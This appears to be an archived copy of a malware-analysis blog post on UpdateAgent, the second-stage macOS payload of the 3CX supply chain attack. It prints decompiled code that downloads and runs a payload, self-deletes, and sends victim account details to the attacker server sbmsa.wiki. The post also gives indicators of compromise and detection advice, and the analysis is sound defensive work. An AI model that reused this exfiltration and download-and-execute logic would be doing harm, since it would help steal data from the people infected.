{
	"id": "471f201b-dddd-41c0-9546-84f9a87dd926",
	"created_at": "2026-04-10T03:21:40.212171Z",
	"updated_at": "2026-04-10T03:22:18.335077Z",
	"deleted_at": null,
	"sha1_hash": "b9a404598ce2152df700bd3dae5548b30580a080",
	"title": "Ironing out (the macOS) details of a Smooth Operator (Part II)",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1511198,
	"plain_text": "Ironing out (the macOS) details of a Smooth Operator (Part II)\r\nArchived: 2026-04-10 02:41:41 UTC\r\nIroning out (the macOS) details of a Smooth Operator (Part II)\r\nAnalyzing UpdateAgent, the 2nd-stage macOS payload of the 3CX supply chain attack\r\nby: Patrick Wardle / April 1, 2023\r\nObjective-See's research, tools, and writing, are supported by the \"Friends of Objective-See\" such as:\r\n📝 👾 Want to play along?\r\nAs “Sharing is Caring” I’ve uploaded the malicious binary UpdateAgent to our public macOS malware collection.\r\nThe password is: infect3d\r\n...please though, don't infect yourself!\r\nBackground\r\nEarlier this week, I published a blog post that added a missing puzzle piece to the 3CX supply chain attack\r\n(attributed to the North Koreans, aka Lazarus Group).\r\nIn that post, we uncovered the trojanization component of macOS variant of the attack, comprehensively analyzed\r\nit, and provided IoCs for detection. I’d recommend reading that write up, as this post, part II, continues on from\r\nwere that left off.\r\n\"Ironing out (the macOS details) of a Smooth Operator (Part I)\"\r\nWe ended the previous post, noting the main goal of the 1st-stage payload ( libffmpeg.dylib ) was to download\r\nand execute a 2nd-stage payload named UpdateAgent . The following snippet of annotated decompiled code, from\r\nthe 1st-stage payload shows this logic:\r\n//write out 2nd-stage payload \"UpdateAgent\"\r\n// which was just downloaded from the attacker's server\r\nstream = fopen(path2UpdateAgent, \"wb\");\r\nfwrite(bytes, length, 0x1, stream);\r\nfflush(stream);\r\nfclose(stream);\r\n//make +x\r\nchmod(path2UpdateAgent, 755);\r\n \r\nhttps://objective-see.org/blog/blog_0x74.html\r\nPage 1 of 14\n\n//execute\r\npopen(path2UpdateAgent, \"r\");\r\nAs the attacker’s servers were offline at the time of my analysis, I was unable to grab a copy of the UpdateAgent\r\nbinary …leading me to state, “what it does is a mystery”.\r\nBut now with the UpdateAgent binary in my possession, let’s solve the mystery of what it does!\r\nNote: In order to get as much information out as quickly as possible I originally tweeted my analysis of the\r\nUpdateAgent :\r\n…this post both reiterates that initial analysis and builds upon it (and hey a blog post is a little more readable and\r\n‘official’).\r\nTriage\r\nThe (SHA-1) hash for the UpdateAgent was originally published in SentinelOne report:\r\n9e9a5f8d86356796162cee881c843cde9eaedfb3\r\nUpdateAgent's Hash (image credit: SentinelOne)\r\nWhatsYourSign shows other hashes (MD5, etc):\r\nhttps://objective-see.org/blog/blog_0x74.html\r\nPage 2 of 14\n\n(other) hashes\r\nYou can also see that WhatsYourSign has determine that though UpdateAgent is signed, its signature is adhoc\r\n(and thus not notarized). You can confirm this with macOS’s codesign utility as well:\r\n% codesign -dvvv UpdateAgent\r\nExecutable=/Users/patrick/Library/Application Support/3CX Desktop App/UpdateAgent\r\nIdentifier=payload2-55554944839216049d683075bc3f5a8628778bb8\r\nCodeDirectory v=20100 size=450 flags=0x2(adhoc) hashes=6+5 location=embedded\r\n...\r\nSignature=adhoc\r\nAlso from UpdateAgent ’s code signing information, we can see it’s identifier: payload2-\r\n55554944839216049d683075bc3f5a8628778bb8 . Other Lazarus group payloads are also signed adhoc and use a\r\nsimilar identifier scheme. For example check out the code signing information from Lazarus’s AppleJuice.C:\r\n% codesign -dvvv AppleJeus/C/unioncryptoupdater\r\nExecutable=/Users/patrick/Malware/AppleJeus/C/unioncryptoupdater\r\nIdentifier=macloader-55554944ee2cb96a1f5132ce8788c3fe0dfe7392\r\nCodeDirectory v=20100 size=739 flags=0x2(adhoc) hashes=15+5 location=embedded\r\nHash type=sha256 size=32\r\nSignature=adhoc\r\nUsing macOS’s file command, we see the UpdateAgent binary is an x86_64 (Intel) Mach-O:\r\n% file UpdateAgent\r\nUpdateAgent: Mach-O 64-bit executable x86_64\r\n…this means that unless Rosetta is installed, it won’t run on Apple Silicon. (Recall that the arm64 version of the\r\n1\r\nst\r\n payload, libffmpeg.dylib was not trojanized).\r\nhttps://objective-see.org/blog/blog_0x74.html\r\nPage 3 of 14\n\nLet’s now run the strings command (with the \"-\" option which instructs it to scan the whole file), we find\r\nstrings that appear to be related to:\r\nConfig files\r\nConfig parameters\r\nAttacker server (sbmsa[.]wiki)\r\nMethod names of networking APIs\r\n% strings -a UpdateAgent\r\n%s/Library/Application Support/3CX Desktop App/.main_storage\r\n%s/Library/Application Support/3CX Desktop App/config.json\r\n\"url\": \"https://\r\n\"AccountName\": \"\r\nhttps://sbmsa.wiki/blog/_insert\r\n3cx_auth_id=%s;3cx_auth_token_content=%s;__tutma=true\r\nURLWithString:\r\nrequestWithURL:\r\naddValue:forHTTPHeaderField:\r\ndataTaskWithRequest:completionHandler:\r\nThis wraps up our triage of the UpdateAgent binary. Time to dive in deeper with our trusty friends: the\r\ndisassembler and debugger!\r\nAnalysis of UpdateAgent\r\nIn this section we’ll more deeply analyze the malicious logic of the UpdateAgent binary.\r\nThrowing the binary in a debugger (starting at its main ), we see within the first few lines of code the malware\r\ncontain some basic anti-analysis logic.\r\nForks itself via fork\r\nThis slightly complicates debugging, as forking creates a new process (vs. the parent, we’re debugging).\r\nSelf-deletes via ulink\r\nThis can thwart file-based AV scanners, or simply make it harder to find/grab the binary for analysis!\r\nint main(int argc, const char * argv[]) {\r\n if (fork() == 0) {\r\n //in child\r\nhttps://objective-see.org/blog/blog_0x74.html\r\nPage 4 of 14\n\n...\r\n unlink(argv[0]);\r\n else\r\n exit(0);\r\nAs noted, when fork executes, a new (child) process is created. We can see that in the above disassembly, the\r\nparent will then exit …while the child will continue on executing. So, if we’re debugging the parent our\r\ndebugging session will terminate. There are debugger commands that can follow the child, but IMHO its easier to\r\njust set a breakpoint on the fork , then skip over it (via the register write $pc \u003caddress of instruction\r\nafter fork\u003e ) altogether.\r\nWe also noted the child process (the parent has exited), will delete itself via the unlink API. This is readily\r\nobservable via a file monitor, which capture thes ES_EVENT_TYPE_NOTIFY_UNLINK event of the UpdateAgent file\r\nby the UpdateAgent process:\r\n# FileMonitor.app/Contents/MacOS/FileMonitor -pretty -json -filter UpdateAgent\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_UNLINK\",\r\n \"file\" : {\r\n \"destination\" : \"~/Library/Application Support/3CX Desktop App/UpdateAgent\",\r\n ...\r\n \"process\" : {\r\n \"pid\" : 38206,\r\n \"name\" : \"UpdateAgent\",\r\n \"path\" : \"~/Library/Application Support/3CX Desktop App/UpdateAgent\"\r\n }\r\n }\r\n}\r\nNext, as the malware has not stripped its symbols nor obfuscated its strings, in a disassembler see the malware\r\nperforming the following:\r\nCalls a function called parse_json_config\r\nCalls a function called read_config\r\nCalls a function named enc_text\r\nBuilds a string ( \"3cx_auth_id=...\" + ? )\r\nCalls a function named send_post passing in the URI https://sbmsa.wiki/blog/_insert\r\nLet’s explore each of these, starting with the call to the malware’s parse_json_config function.\r\nThis attempts to open a file, config.json (in ~/Library/Application Support/3CX Desktop App ). According\r\nto an email I received (thanks Adam!) this appears to be a legitimate configuration file, that is part of 3CX’s app.\r\nWe can observe the malware opening the configuration file in a file monitor:\r\nhttps://objective-see.org/blog/blog_0x74.html\r\nPage 5 of 14\n\n# FileMonitor.app/Contents/MacOS/FileMonitor -pretty -json -filter UpdateAgent\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_OPEN\",\r\n \"file\" : {\r\n \"destination\" : \"~/Library/Application Support/3CX Desktop App/config.json\",\r\n ...\r\n \"process\" : {\r\n \"pid\" : 38206,\r\n \"name\" : \"UpdateAgent\",\r\n \"path\" : \"~/Library/Application Support/3CX Desktop App/UpdateAgent\"\r\n }\r\n }\r\n}\r\nOnce it has opened this file, UpdateAgent looks for values from the keys: url and AccountName , as we can\r\nsee in the annotated disassembly:\r\nint parse_json_config(int arg0) {\r\n ...\r\n sprintf(\u0026var_1230, \"%s/Library/Application Support/3CX Desktop App/config.json\", arg0);\r\n rax = fopen(\u0026var_1230, \"r\");\r\n ...\r\n fread(\u0026var_1030, rsi, 0x1, r12);\r\n rax = strstr(\u0026var_1030, \"\\\"url\\\": \\\"https://\");\r\n ...\r\n rax = strstr(\u0026var_1030, \"\\\"AccountName\\\": \\\"\");\r\nHere’s a snippet from a legitimate 3CX config.json file, showing an example of such values:\r\n{\r\n \"ProvisioningSettings\": {\r\n \"url\": \"https://servicemax.3cx.com/provisioning/\u003credacted\u003e/\u003credacted\u003e/\u003credacted\u003e.xml\",\r\n \"file\": {\r\n \"Extension\": \"00\",\r\n ...\r\n \"GCMSENDERID\": \"\",\r\n \"AccountName\": \"\u003credacted\u003e\",\r\nhttps://objective-see.org/blog/blog_0x74.html\r\nPage 6 of 14\n\nFrom this, we can see the url key appears to contain a link to the xml provisioning file for the VOIP system. On\r\nthe other hand, AccountName is full name of the account owner.\r\nIf the config.json file is not found, the malware exits. As I didn't have the 3CX app fully installed, to keep the\r\nmalware happily executing so I could continue (dynamic) analysis I created a dummy config.json (containing the\r\nexpected keys, with some random values).\r\nWith the values of url and AccountName extracted from the config.json file the malware then calls a\r\nfunction named read_config .\r\nThis opens and then reads in the contents of the .main_storage file. Recall that this file created by the 1st-stage\r\npayload ( libffmpeg.dylib ) and contains a UUID - likely uniquely identifying the victim. The read_config\r\nfunction then de-XORs the UUID with the key 0x7a .\r\nint read_config(int * arg0, void * arg1) {\r\n ...\r\n sprintf(\u0026var_230, \"%s/Library/Application Support/3CX Desktop App/.main_storage\", arg0);\r\n handle = fopen(\u0026var_230, \"rb\");\r\n fread(buffer, 0x38, 0x1, rax);\r\n fclose(handle);\r\n \r\n index = 0x0;\r\n do {\r\n *(buffer + index) = *(buffer + index) ^ 0x7a;\r\n index++;\r\n } while (index != 0x38);\r\nOnce the read_config has returned, the malware concatenates the url and AccountName and then encrypts\r\nthem via a function named enc_text . Next it combines this encrypted string with the de-XOR’d UUID (from the\r\n.main_storage file).\r\nThese values are combined in the following parameterized string:\r\n3cx_auth_id=UUID;3cx_auth_token_content=encryted url;account name;__tutma=true\r\nWe can dump this in a debugger:\r\n% lldb UpdateAgent\r\n...\r\n(lldb) x/s 0x304109390: \"3cx_auth_id=3725e81e-0519-7f09-72ac-35641c94c1cf;3cx_auth_token_content=S\u0026pe\r\nhttps://objective-see.org/blog/blog_0x74.html\r\nPage 7 of 14\n\nNow the malware is ready to send this information to the attacker’s remote server. This is accomplished via a\r\nfunction the malware names send_post . It takes as several parameters including the remote server/API endpoint\r\nhttps://sbmsa.wiki/blog/_insert and the 3cx_auth_id=... string:\r\nenc_text(\u0026input, \u0026output);\r\nsprintf(\u0026paramString, \"3cx_auth_id=%s;3cx_auth_token_content=%s;__tutma=true\", \u0026UUID, \u0026output);\r\n...\r\nsend_post(\"https://sbmsa.wiki/blog/_insert\", \u0026paramString, \u0026var_1064);\r\n \r\nThe send_post function configures an URL request with a hard-coded user-agent string ( \"Mozilla/5.0\r\n(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.128\r\nSafari/537.36 ) and add the 3cx_auth_id=... parameter string in the “Cookie” HTTP header.\r\nThen, via the nsurlsession ’s dataTaskWithRequest:completionHandler: method the malware makes the\r\nrequest to https://sbmsa.wiki/blog/_insert .\r\nVia my DNSMonitor, we can observe (the initial part, the DNS resolution) of this:\r\n% DNSMonitor.app/Contents/MacOS/DNSMonitor -json -pretty\r\n[{\r\n \"Process\" : {\r\n \"pid\" : 40063,\r\n \"signing ID\" : \"payload2-55554944839216049d683075bc3f5a8628778bb8\",\r\n \"path\" : \"\\/Users\\/patrick\\/Library\\/Application Support\\/3CX Desktop App\\/UpdateAgent\"\r\n },\r\n \"Packet\" : {\r\n \"Opcode\" : \"Standard\",\r\n \"QR\" : \"Query\",\r\n \"Questions\" : [\r\n {\r\n \"Question Name\" : \"sbmsa.wiki\",\r\n \"Question Class\" : \"IN\",\r\n \"Question Type\" : \"?????\"\r\n }\r\n ],\r\n \"RA\" : \"No recursion available\",\r\n \"Rcode\" : \"No error\",\r\n \"RD\" : \"Recursion desired\",\r\n \"XID\" : 25349,\r\n \"TC\" : \"Non-Truncated\",\r\n \"AA\" : \"Non-Authoritative\"\r\n }\r\n}\r\nhttps://objective-see.org/blog/blog_0x74.html\r\nPage 8 of 14\n\n…unfortunately (for our continued analysis efforts) as the sbmsa.wiki server is offline, the connection fails.\r\n% nslookup sbmsa.wiki\r\n;; connection timed out; no servers could be reached\r\nStill, we can continue static analysis of the UpdateAgent binary to see what it would do if the attacker’s server\r\nwas (still) online.\r\n…the answer is though, appears to be, nothing:\r\nint main(int argc, const char * argv[]) {\r\n...\r\nresponse = send_post(\"https://sbmsa.wiki/blog/_insert\", \u0026paramString, \u0026var_1064);\r\nif (response != 0x0) {\r\n free(response);\r\n}\r\nreturn 0;\r\nAs the decompilation shows, once the send_post returns, the response is freed. Then, the function, returns. As\r\nthe function (that invokes send_post and then simply returns) is main , this means the process is exiting.\r\nThis might at first seem a bit strange …wouldn’t we expect the UpdateBinary to do something after it has\r\nreceived a response? Usually we see malware treating a response as tasking (and thus then executing some\r\nattacker-specified commands), or, as was the case with the 1st-stage payload, saving and executing the response as\r\nan next-stage payload.\r\nHowever if take a closer look at UpdateAgent ’s URI API endpoint, recall it’s\r\nhttps://sbmsa.wiki/blog/_insert …maybe the purpose of UpdateAgent is simply to report information about\r\nits victims …inserting them into some back-end server (found at the _insert endpoint). This would make sense\r\na supply-chain attacks indiscriminately infect a large number of victims, most of whom to a nationstate APT group\r\n(e.g. Lazarus) are of little interest.\r\nThis concept is well articulated by J. A. Guerrero-Saade who noted:\r\nThat’s up to say, the [supply-chain] attacker gets thousands of victims, collects everything they need for\r\nfuture compromises, profiles their haul, and decides how to maximize that access.\r\nAlso worth recalling that each time the 1st-stage payload was run, it would (re)download and (re)execute\r\nUpdateAgent …meaning at any time the Lazarus group hacker’s could for targets of interest, update/swap out the\r\nUpdateAgent ’s code, perhaps for a persistent, fully featured implant.\r\nDetection / Protection\r\nhttps://objective-see.org/blog/blog_0x74.html\r\nPage 9 of 14\n\nLet’s end by talking how to detect and protect against this 2nd\r\n-stage payload.\r\nFirst, detection should be trivial, as many of components of the malware are hard-coded and thus static:\r\nFile based IoCs (found in ~/Library/Application Support/3CX Desktop App/ )\r\n.main_storage\r\nUpdateAgent (though as this self-deletes, it might be gone)\r\nEmbedded Domain:\r\nhttps://sbmsa.wiki/blog/_insert\r\nIn terms of detentions, Objective-See’s free open-source tools can help!\r\nFirst, BlockBlock (running in “Notarization” mode) will both detect and block UpdateAgent before it’s allowed\r\nto execute …as the malware is not notarized:\r\nBlockBlock ...block blocking!\r\nAt the network level, as we showed earlier DNSMonitor, will detect when the malware attempts to resolve the\r\ndomain named of its remote server:\r\n% DNSMonitor.app/Contents/MacOS/DNSMonitor -json -pretty\r\n[{\r\n \"Process\" : {\r\n \"pid\" : 40063,\r\n \"signing ID\" : \"payload2-55554944839216049d683075bc3f5a8628778bb8\",\r\n \"path\" : \"\\/Users\\/patrick\\/Library\\/Application Support\\/3CX Desktop App\\/UpdateAgent\"\r\n },\r\n \"Packet\" : {\r\nhttps://objective-see.org/blog/blog_0x74.html\r\nPage 10 of 14\n\n\"Opcode\" : \"Standard\",\r\n \"QR\" : \"Query\",\r\n \"Questions\" : [\r\n {\r\n \"Question Name\" : \"sbmsa.wiki\",\r\n \"Question Class\" : \"IN\",\r\n \"Question Type\" : \"?????\"\r\n }\r\n ],\r\n \"RA\" : \"No recursion available\",\r\n \"Rcode\" : \"No error\",\r\n \"RD\" : \"Recursion desired\",\r\n \"XID\" : 25349,\r\n \"TC\" : \"Non-Truncated\",\r\n \"AA\" : \"Non-Authoritative\"\r\n }\r\n}\r\nFinally LuLu can also detect the malware’s unauthorized network access. What really can tip us off that something\r\nis amiss based on LuLu’s alert is that the program, UpdateAgent accessing the internet has self-deleted (and thus\r\nis struck through in the alert):\r\nLuLu ...detecting unauthorized network access\r\nMake sure you are running the latest version of LuLu (v2.4.3) that improved the handling of self-deleted\r\nprocesses.\r\nConclusion\r\nhttps://objective-see.org/blog/blog_0x74.html\r\nPage 11 of 14\n\nToday we added a missing yet another puzzle piece to the 3CX supply chain attack. Here, for the first time, we\r\ndetailed the attacker’s 2nd macOS payload: UpdateAgent .\r\nMoreover, we provided IoCs for detection and described how our free, open-source tools could provide protection,\r\neven with no a priori knowledge of this threat!\r\nI want to end by including an awesome diagrammatic overview of (macOS components) of the 3CX supply chain\r\nattack, created by the talented Thomas Roccia, as it provides a great visual overview of what we covered in both\r\nour part I and part II writeups!\r\nhttps://objective-see.org/blog/blog_0x74.html\r\nPage 12 of 14\n\nOverView (image credit: Thomas Roccia (fr0gger_))\r\nhttps://objective-see.org/blog/blog_0x74.html\r\nPage 13 of 14\n\nInterested in Mac Malware Analysis Techniques?\r\nSource: https://objective-see.org/blog/blog_0x74.html\r\nhttps://objective-see.org/blog/blog_0x74.html\r\nPage 14 of 14",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://objective-see.org/blog/blog_0x74.html"
	],
	"report_names": [
		"blog_0x74.html"
	],
	"threat_actors": [],
	"ts_created_at": 1775791300,
	"ts_updated_at": 1775791338,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/b9a404598ce2152df700bd3dae5548b30580a080.pdf",
		"text": "https://archive.orkl.eu/b9a404598ce2152df700bd3dae5548b30580a080.txt",
		"img": "https://archive.orkl.eu/b9a404598ce2152df700bd3dae5548b30580a080.jpg"
	}
}